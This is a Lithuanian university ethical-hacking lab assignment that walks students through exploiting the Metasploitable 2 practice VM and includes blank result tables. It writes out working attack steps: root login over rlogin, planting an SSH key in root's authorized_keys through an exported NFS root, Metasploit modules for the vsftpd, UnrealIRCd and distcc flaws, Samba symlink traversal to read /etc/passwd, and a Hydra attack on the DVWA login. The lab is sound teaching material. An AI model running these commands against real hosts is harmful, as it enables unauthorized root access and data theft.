KAUNO TECHNOLOGIJOS UNIVERSITETAS

KOMPIUTERIŲ KATEDRA

Saugumo patikros ir etiško įsilaužimo technologijos

T120M154

Laboratoriniai darbai

NR. 2

Atliko:

Kaunas, 2021

# Legenda

Informacinė sistema naudojama paslaugoms užtikrinti. Tinklo administratorius nebuvo toks pareigingas ir senai nėra atnaujinęs paslaugų („services“). Dėl šios priežasties virtualioje aplinkoje tiekiamos paslaugos tapo pažeidžiamomis.

Tinklų administratorius įvardijo galimus atakų vektorius:

1. IP adresai, tinklo kaukės, paslaugos („services“), prievadai („port“);
2. Paliktos saugumo spragos bei perduodant infrastruktūrą nugvelbti slaptažodžiai;
3. Įsilaužimai į viešai pasiekiamas svetaines, serverius, keičiant turinį, vagiant slaptažodžius;
4. Virtualios aplinkos užvaldymas ir netiesioginės vidinių tinklo paslaugų atakos;
5. Pažeidimo įrodymų fiksavimas.

**1. Darbo tikslas**

Nustatyti tinkle veikiančias paslaugas ir jų versijas. Surasti veikiančių paslaugų pažeidžiamumus, juos išnaudoti (įsilaužti).

STUTENTAS pildo gautus rezultatus „Jūsų gautas rezultatas“ pažymėtose vietose.

# 2. Darbo priemonės

1. Virtualios, pažeidžiamos Linux OS atvaizdas; VMware (zip) failas Parsisiuntimas: ~~<ftp://158.129.35.88/pub/CEH/metalinux.tgz> (NEGALIOJA);~~ Spustelėkite <http://sourceforge.net/projects/metasploitable/files/Metasploitable2/> saitą, kad atidarytumėte URL.
2. VMware Workstation Player (nemokama) <https://www.vmware.com/products/workstation-player.html> (arba Filehippo: <https://filehippo.com/download_vmware-workstation-player/> );
3. Wireshark – tinklo srauto analizės programinė įranga;
4. Nmap (zemap) – tinklo paslaugų ir prievadų identifikavimo priemonė;
5. (papildomai) Kali Linux – savarankiškai dirbantiems galima pasitelkti „pentest“ Linux distribuciją tam, kad turėti visus reikiamus įrankius vienoje vietoje (<http://www.kali.org>). Svarbu, jei planuojate naudoti Windows OS, galite įdiegti visą reikiamą aplinką per Windows App Store (nuoroda kaip tai padaryti: <https://www.kali.org/news/kali-linux-in-the-windows-app-store/>)
6. Metasploit – pažeidžiamumų testavimo sistema bei kartu platforma (karkasas), skirta apsaugos priemonėms ir pažeidžiamumų išnaudojimo kodams kurti. Šią sistemą visame pasaulyje naudoja daugelis tinklo saugumo specialistų, atlikdami įsibrovimo testus, sistemų administratorių, tikrindami ar teisingai įdiegti sisteminiai atnaujinimai, programinės įrangos naujinimai. Sistema sukurta naudojant „Ruby“ programavimo kalbą, o išeinantys komponentai – įvairiomis kitomis kalbomis, pvz.: C, perl, assembler ir pan. **Parsisiųsti:** <https://www.metasploit.com> PASTABA: jei naudojate Kali Linux, Metasploit karkasas yra sudiegtas pagal nutylėjimą.
7. Pažeidžiamumų duomebų bazė <http://www.exploit-db.com>;
8. Hydra - brutalios jėgos (brute foce) įrankis <https://github.com/vanhauser-thc/thc-hydra>;
9. Galima naudoti ir šiame sąraše nepateiktą programinę įrangą.
10. Braižymas (jei bus reikalinga): <http://draw.io>

**Papildomos darbo priemonės**

**Pavadinimas Trumpas apibūdinimas**

SING įrankis, skirtas pakeisti įvairius ICMP paketo tipus

NESSUS Pažeidžiamumų skeneris su papildymais

Nmap / Netcat Įvairiapusis tinklo jungties, skenavimo įrankis UDP ir TCP

Whisker 2.0 Tinklo skenavimo įrankis, parašytas PERL

Nikto Sudėtingesnis tinklo skenavimo įrankis, pagrįstas Whisker

Fragrouter Paketas, pakeičiantis įrankį NIDS tikrinimui

Nemesis Paketas, apipavidalinantis įrankį ugniasienių ir maršrutizatorių tikrinimui

Xprobe2 Įrankis, pirštų atspaudų sistemoms su ICMP

John the Ripper / Hydra Slaptažodžio nulaužimo įrankis

Sqlmap SQL pažeidžiamumų injekcijos

Sqlninja SQL pažeidžiamumų injekcijos, užvaldymas

Snmpwalk snmp paketų medis

Hydra brutalios jėgos (brute foce) įrankis

**Darbo atlikimo metodika**

Darbo metu atliekamas tinklo skenavimas, aptinkami paslaugų prievadai (servises, ports), jų versijos. Versijų pažeidžiamumų paieška <http://nvd.nist.gov> pažeidžiamumų duomenų bazėje. Pažeidžiamumų paieška Metasploit duomenų bazėje. Pažeidžiamumų išnaudojimas.

# Darbo rezultatų vertinimas

|  |  |  |  |
| --- | --- | --- | --- |
| Studento Vertinimas  (balais) | Galimas maksimalus vertinimo balas | Vertinimo objektas | Pastabos |
|  | 5 | Nustatyta pagrindinė informacija apie IP adresų paslaugas (services) | Informacija apie paslaugas, versijos, prievadai (services, versions, ports) |
|  | 3 | Aprašytas arba pademonstruotas pažeidžiamumas | Pažeidžiamumas, įrodymai (gali būti darbalaukio atvaizdas, gali būti rezultato iškopijavimas, pvz turite prieigą tai pademonstruota komanda $id „naudotojo teisės linux aplinkoje“) (exploiting). |
|  | 2 | Surinkta informacija apie paslaugų pažeidžiamumus.  Parengti išvadas. | Informacija apie pažeidaimumus (vulnerability)  PILDOMA TIK „Jūsų gautas rezultatas“ |
|  | 10 |  | |

**LABORATORINIO DARBO ATASKAITOS DALIS**

**Darbo eiga. Skenavimas**

Tinklo profilis – tai apimtis viso to, ką reikia atlikti. Laboratorinio metu **SKENUOJATE TIK VIENĄ IP**. Šio laboratorinio metu jums apimtį apibrėžia IP adresų grupės, kurios parodo, ko jums negalima tikrinti. Realiame pasaulyje tai gali būti netiksliai apibrėžiama ir jūs turėsite suvokti tai patys.

Tinklo profilio lentelė yra būdas apjungti skenavimą ir dokumentų ruošimą, kad būtų apibrėžta apimtis, kurioje yra domenų pavadinimai, zonos perkėlimo detalės, svarbios pavadinimo serverio detalės ir tinklo strategija. Ši profilio lentelė tada naudojama kaip vadovas tikrinimo metu, papildoma, kai būtina, ir galiausiai pateikia apžvalgą galutinės ataskaitos skaitytojams ir sudarytojams.

**Nmap naudojimas.** Aptikti paslaugų pažeidžiamumai. Ieškoma CVE ir Metasploit duomenų bazėse.

**Jūsų gautas rezultatas**

**Paslaugų sąrašas (skenuoto IP adreso)**

|  |  |  |
| --- | --- | --- |
| **Prievadas (port)** | **Paslauga (service)** | **Versija** |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |
|  |  |  |

|  |  |  |  |
| --- | --- | --- | --- |
| **Prievadas** | **Protokolas** | **Paslauga** | **Paslaugos detalės** |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  |  |  |  |
|  | | | |

**Darbo eiga. Pažeidžiamumų išnaudojimas**

**Metasploit**. Programinės įrangos paleidimo ir paieškos pvz.

**Paleidimas**

#msfconsole

(arba paleidimas iš /opt/mfs/msfconsole

Paieškos pvz.

msf> search sendmail

**Paslaugos: Unix pagrindai**

TCP prieigos (port) 512, 513 ir 514 yra žinomos kaip "r" tipo paslaugos, kurie buvo nesukonfigūruoti, leisti nuotolinę prieigą iš bet kurio kompiuterio (standartas ". rhosts + +" situacija). Norėdami pasinaudoti šia klaida, įsitikinkite, kad "rsh-client" klientas yra įdiegtas (Ubuntu) ir paleiskite šią komandą, kaip lokalų root. Jei gavote pranešimą įvesti SSH raktą, tai reiškia, kad rsh-client įrankiai nebuvo įdiegti ir Ubuntu naudoja SSH pagal nutylėjimą.

# **rlogin -l root IP**

Sekanti paslauga į kurį turėtume atkreipti dėmesį tai, Tinklo rinkmenų sistemos (NFS). NFS gali būti identifikuojamas pagal prieigą (port) 2049 tiesiogiai arba užklausiant portmapper paslaugos. Toliau naudojant rpcinfo nustatyti NFS ir showmount -e nustatyti ar "/" prieigos dalį (failų sistemos šakninė direktorija) yra eksportuojama. Jums reikės rpcbind ir nfs-common Ubuntu paketų (įrankių).

**Jūsų gautas rezultatas**

|  |  |
| --- | --- |
| **IP adresas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

# **rpcinfo -p IP**

# **showmount -e IP**

|  |  |
| --- | --- |
| **IP adresas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

Tam, kad gauti prieigą prie sistemos su įrašymo teisę į failų sistemą reikia (dėl SSH veikiančios paslaugos) sukurti naują SSH raktą mūsų puolamoje sistemoje. Primontuoti NFS eksportą ir pridėti savo raktą į root naudotojo authorized\_keys failą (susikurti raktus):

root@linux:~# **ssh-keygen**

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id\_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id\_rsa.

Your public key has been saved in /root/.ssh/id\_rsa.pub.

root@linux:~# **mkdir /tmp/r00t**

root@linux:~# **mount -t nfs IP:/ /tmp/r00t/**

root@linux:~# **cat ~/.ssh/id\_rsa.pub >> /tmp/r00t/root/.ssh/authorized\_keys**

root@linux:~# **umount /tmp/r00t**

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**Jūsų gautas rezultatas**

# **ssh root@IP**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**Paslaugos: Backdoors (užpakalinės durys)**

**21 (port)** prieigą naudoja vsftpd, populiarus FTP serveris. Ypač šioje versijoje Backdoor (žr. <http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html>), kuris buvo įkeltas į kodą nežinomų hakerių. Backdoor buvo greitai nustatytas ir pašalintas, bet ne nemažai žmonių jį atsisiųsti su sistemų atsinaujinimais. Backdoor veikia, kaip užklausoje dėl naudotojo prisijungimo yra naudojamas papildomas simbolis ":)" [laimingas veidas] pabaigoje. Backdoor apkrėstoji versija atveria 6200 prieigą (port). Mes galime tai įrodyti su telnet ar naudotis Metasploit (žr. http://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd\_234\_backdoor) pagrindų modulis automatiškai jį išnaudoti.

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**6667 (port)** prieigą naudoja UnreaIRCD IRC paslauga (daemon). Ši versija yra su backdoor (žr. <http://forums.unrealircd.com/viewtopic.php?t=6562>). Pažeidžiamumas buvo nepastebėtas mėnesį laiko – trigeris buvo siunčiant laiškus "AB" į sistemos komandas naudojant bet kurią prieigą serveryje. Metasploit turi modulį (žr. <http://www.rapid7.com/db/modules/exploit/unix/irc/unreal_ircd_3281_backdoor> ) išnaudoti šiam pažeidžiamumui.

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

Naudoti telnet arba metasploit

root@linux:~# **msfconsole**

Daug mažiau subtilus yra senas laukimo (standby) "ingreslock" Backdoor. Ji naudoja 1524 prieigą (port). Ingreslock prieiga buvo labai populiarus pasirinkimas kai prieš dešimtmetį Backdoor diegdavo į serverius. Ją gauti labai paprasta:

**Paslaugos:netyčiniai Backdoors**

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

Be žalingų Backdoors yra ir paslaugos kurie pagal savo prigimtį yra pažeidžiami. Pirmasis iš jų yra įdiegtas IP - **distccd**. Ši programa leidžia lengvai paskirstyti didelį kompiliatoriaus darbą įvairiose sistemos. Šios paslaugos problema yra ta, kad hakeris gali lengvai piktnaudžiauti ją, paleisti komandas su atitinkamais pasirinkimas (raktais).

root@linux:~# **msfconsole**

msf > **use exploit/unix/misc/distcc\_exec**

msf  exploit(distcc\_exec) > **set RHOST IP**

msf  exploit(distcc\_exec) > **exploit**

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

Samba, kai sukonfigūruotas priėjimas su rašymo galimybe ir " wide links plačiosios nuorodos" yra leidžiamas (pagal nutylėjimą). Gali būti naudojamas kaip slaptas priėjimas prie failų, kurie nebuvo skirti dalijimuisi (share). Žemiau pavyzdyje naudojamas Metasploit modulį suteikti prieigą prie šakninės failų sistemos, naudojant anoniminį prisijungimą su įrašymo galimybę.

root@linux:~# **smbclient -L //IP**

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

        Sharename       Type      Comment

        ---------       ----      -------

        print$          Disk      Printer Drivers

**tmp             Disk      Mūsų tikslas!**

        opt             Disk

        IPC$            IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

        ADMIN$          IPC       IPC Service (metasploitable server (Samba 3.0.20-Debian))

root@linux:~# **msfconsole**

msf > **use auxiliary/admin/smb/samba\_symlink\_traversal**

msf  auxiliary(samba\_symlink\_traversal) > **set RHOST IP**

msf  auxiliary(samba\_symlink\_traversal) > **set SMBSHARE tmp**

msf  auxiliary(samba\_symlink\_traversal) > **exploit**

msf auxiliary(samba\_symlink\_traversal) > **exit**

root@linux:~# **smbclient //IP/tmp**

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

smb: \> **cd rootfs**

smb: \rootfs\> **cd etc**

smb: \rootfs\etc\> **more passwd**

getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[..]

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**NEPRIVALOMA DALIS**

**Savarankiškam darbui**

**WEB paslaugų pažeidžiamumai**

Sistema yra tyčia pažeidžiama per interneto prieigos programas. Web serveris pasileidžia automatiškai, pakraunant pačia OS. Norėdami prieiti prie interneto programų, reikia atidaryti interneto naršyklę ir įveskite URL http:// <IP> kur <IP> yra IP adresas.

Šiame pavyzdyje pažeistos sistemos IP adresas XXX.XXX.XXX.XXX.

A screenshot of a computer screen

Description automatically generated

Norėdami pasiekti tam tikrą žiniatinklio programą, paspauskite vieną iš numatytų nuorodų. Individualūs interneto programas papildomai gali būti prieinama papildymai įvedant katalogo pavadinimą į http:// <IP> sukurti URL http:// <IP> / <Application Folder> /. Pavyzdžiui, Mutillidae paraiška gali būti (šiame pavyzdyje) adresu http://192.168.56.101/mutillidae/. sistema yra įdiegta į / var/www/ katalogą. (Pastaba: Žiūrėkite su komanda "ls /var/www") Į dabartinę versiją yra įdieti sekantis papildymai:

* mutillidae (NOWASP Mutillidae 2.1.19)
* dvwa (Damn Vulnerable Web Application)
* phpMyAdmin
* tikiwiki (TWiki)
* tikiwiki-old
* dav (WebDav)

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**WEB paslaugų pažeidžiamumas: Mutillidae**

Mutillidae interneto programa (NOWASP (Mutillidae) žr. <http://sourceforge.net/projects/mutillidae/> ) yra iš OWASP pažeidžiamumų dešimtuką. Turi kitų spragų, kaip pavyzdžiui HTML-5 interneto saugyklos pažeidžiamumą – forma viską saugo (caching) ir įvykdomas “click-jacking” tipo pažeidžiamumas. Mutillidae leidžia naudotojui keisti "saugumo lygį" nuo 0 (visiškai nesaugus) iki 5 (saugus). Trijų lygių užuominomis nuo "0 Lygis - bandau sunkiau" (jokių užuominų) į "2 lygis - Noob" (Maksimalios užuominos) teikiama informacija. Jei prašymas yra pažeistų naudotojų injekcijų, paspaudę "Reset DB" mygtuką iš naujo atstatote prašymą į savo pirminę būseną.

A screenshot of a computer screen

Description automatically generated

Tam, kad įjungti užuominų į paraišką spustelėkite "Toggle Hints" mygtuką meniu juostoje:

A screenshot of a computer

Description automatically generated

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**WEB paslaugų pažeidžiamumas: DVWA**

Nuo DVWA pagrindio (namų) puslapio: " Damn Vulnerable Web App (DVWA) yra PHP/MySQL interneto programa, kurie yra pažeidžiami. Pagrindiniai tikslai būtų saugumo specialistų pagalba išbandyti savo įgūdžius ir įrankius į dirbtinai sukurtą aplinką. Puslapių kūrėjai geriau supras ir užtikrins interneto programų saugumą tiek klasėje, tiek už klasės ribos".

DVWA papildomos instrukcijos http://www.dvwa.co.uk

**Naudotojo vardas, pagal nutylėjimą = admin**

**Naudotojo slaptažodis, pagal nutylėjimą = password**

A screenshot of a computer

Description automatically generated

Galimas pavyzdys:

hydra -l admin -p password http-get-form "/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Login failed"

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**WEB paslaugų pažeidžiamumas: Informacijos atskleidimas**

Be to, neapgalvotas PHP informacijos išvedimas (atskleidimas) į puslapį. Tai galima rasti adresu http:// <IP> / phpinfo.php. Šiame pavyzdyje, adresas bus <http://192.168.56.101/phpinfo.php>. PHP info - informacijos atskleidimo pažeidžiamumas teikia vidaus sistemos informacija ir paslaugų versijų informaciją, kuri gali būti naudojama ieškant spragų. Pavyzdžiui, PHP versija - atskleista versija ekrane yra 5.2.4, gali būti įmanoma, kad sistema yra pažeidžiama CVE-CVE-2012-1823 (žr. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1823>) CVE-CVE-2012-2311 (žr. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2311>), kurią PHP iki 5.3.12 ir 5.4.x yra galimybė pažeisti. Vėliau išleistoje 5.4.2 versijoje klaidos ištaisytos.

A screenshot of a computer screen

Description automatically generated

**Jūsų gautas rezultatas**

(galima pateikti darbalaukio atvaizdą)

|  |  |
| --- | --- |
| **Atliktas veiksmas** | **Rezultatas (paslaugos, prievadai)** |
|  |  |
|  |  |

**IŠVADOS**

(įkelti darbalaukio nuotraukas su root teisėmis ir aprašyti pažeidžiamumą, kaip jos buvo gautos)